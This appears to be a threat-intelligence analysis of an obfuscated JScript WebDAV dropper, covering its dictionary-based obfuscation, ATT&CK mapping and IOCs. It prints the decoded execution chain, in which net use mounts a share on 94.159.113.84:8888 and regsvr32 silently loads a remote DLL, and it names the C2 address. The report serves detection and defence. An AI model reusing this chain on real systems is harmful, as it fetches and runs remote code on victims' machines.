> Analysis · f01dca2e327a_

~/packetpursuit $ cat /intel/analyses/f01dca2e327a.../report.md

typeanalysisfamilyunclassified-js-webdav-dropperconfidencehighcreated2026-07-21dropperwebdavregsvr32jscriptobfuscation
SHA-256: f01dca2e327ae3f75c85bb161e231a1020d01660f28d3bc759084fb526c25dfb

f01dca2e — JavaScript WebDAV Dropper (100-entry dictionary)

Build / RE

  • Language: JScript (Windows Script Host), single-line file, 295 KB. ^[file.txt]
  • Obfuscation: Dictionary lookup-table with 100 key/value pairs mapping random lowercase noise strings (avg 7 chars, e.g. sgctkxc, vzzxhzqjy) to single characters; assembled via this[eval](...) chain. Object name vukqn. Largest dictionary observed in the family (ties fbdd83ad and e2568b43 for 100-entry cardinality). ^[strings.txt]
  • Decoding: Static replacement of vukqn['key'] references followed by string-concatenation collapse yields the payload. ^[floss.txt]
  • Anti-analysis: None — no debugger checks, VM detection, time-bombs, or connectivity gates. ^[capa.txt]
  • Code quality: Low — hand-written noise-key dictionary, repetitive concatenation chains, no commercial obfuscator signatures.

Deploy / ATT&CK

Tactic Technique Evidence
Execution T1059.005 (Visual Basic / JScript) .js file executed by WScript; outer layer builds payload via this[eval](...) ^[strings.txt]
Execution T1218.010 (Regsvr32) regsvr32 /s \\94.159.113.84@8888\davwwwroot\30197980715234.dll ^[strings.txt]
Defense Evasion T1027 (Obfuscated Files or Information) 100-entry noise-key dictionary lookup table ^[strings.txt]
Defense Evasion T1218 (System Binary Proxy Execution) regsvr32 signed system binary used for silent DLL registration ^[strings.txt]
Command & Control T1071.001 (Web Protocols) WebDAV over HTTP (\\94.159.113.84@8888\DavWWWRoot\) ^[strings.txt]
Command & Control T1105 (Ingress Tool Transfer) net use mounts WebDAV share; regsvr32 fetches and loads remote DLL ^[strings.txt]

IOCs

  • C2: 94.159.113.84:8888
  • UNC payload path: \\94.159.113.84@8888\davwwwroot\30197980715234.dll
  • Payload filename: 30197980715234.dll
  • Execution chain: cmd /c timeout 1 && cmd /c net use <UNC> && cmd /c regsvr32 /s <UNC\.dll>
  • Window style: 0 (hidden), wait: false

Family

unclassified-js-webdav-dropper — Eighty-sixth confirmed sibling. Matches execution chain of the 94.159.113.x sub-cluster (fbdd83ad, e2568b43, c4670e86, etc.) but with a completely new 100-entry noise-key set and new payload filename. No PowerShell wrapper, no wordpad decoy, no sandbox gate, no batch/polyglot layer. ^[/intel/analyses/f01dca2e327ae3f75c85bb161e231a1020d01660f28d3bc759084fb526c25dfb.html]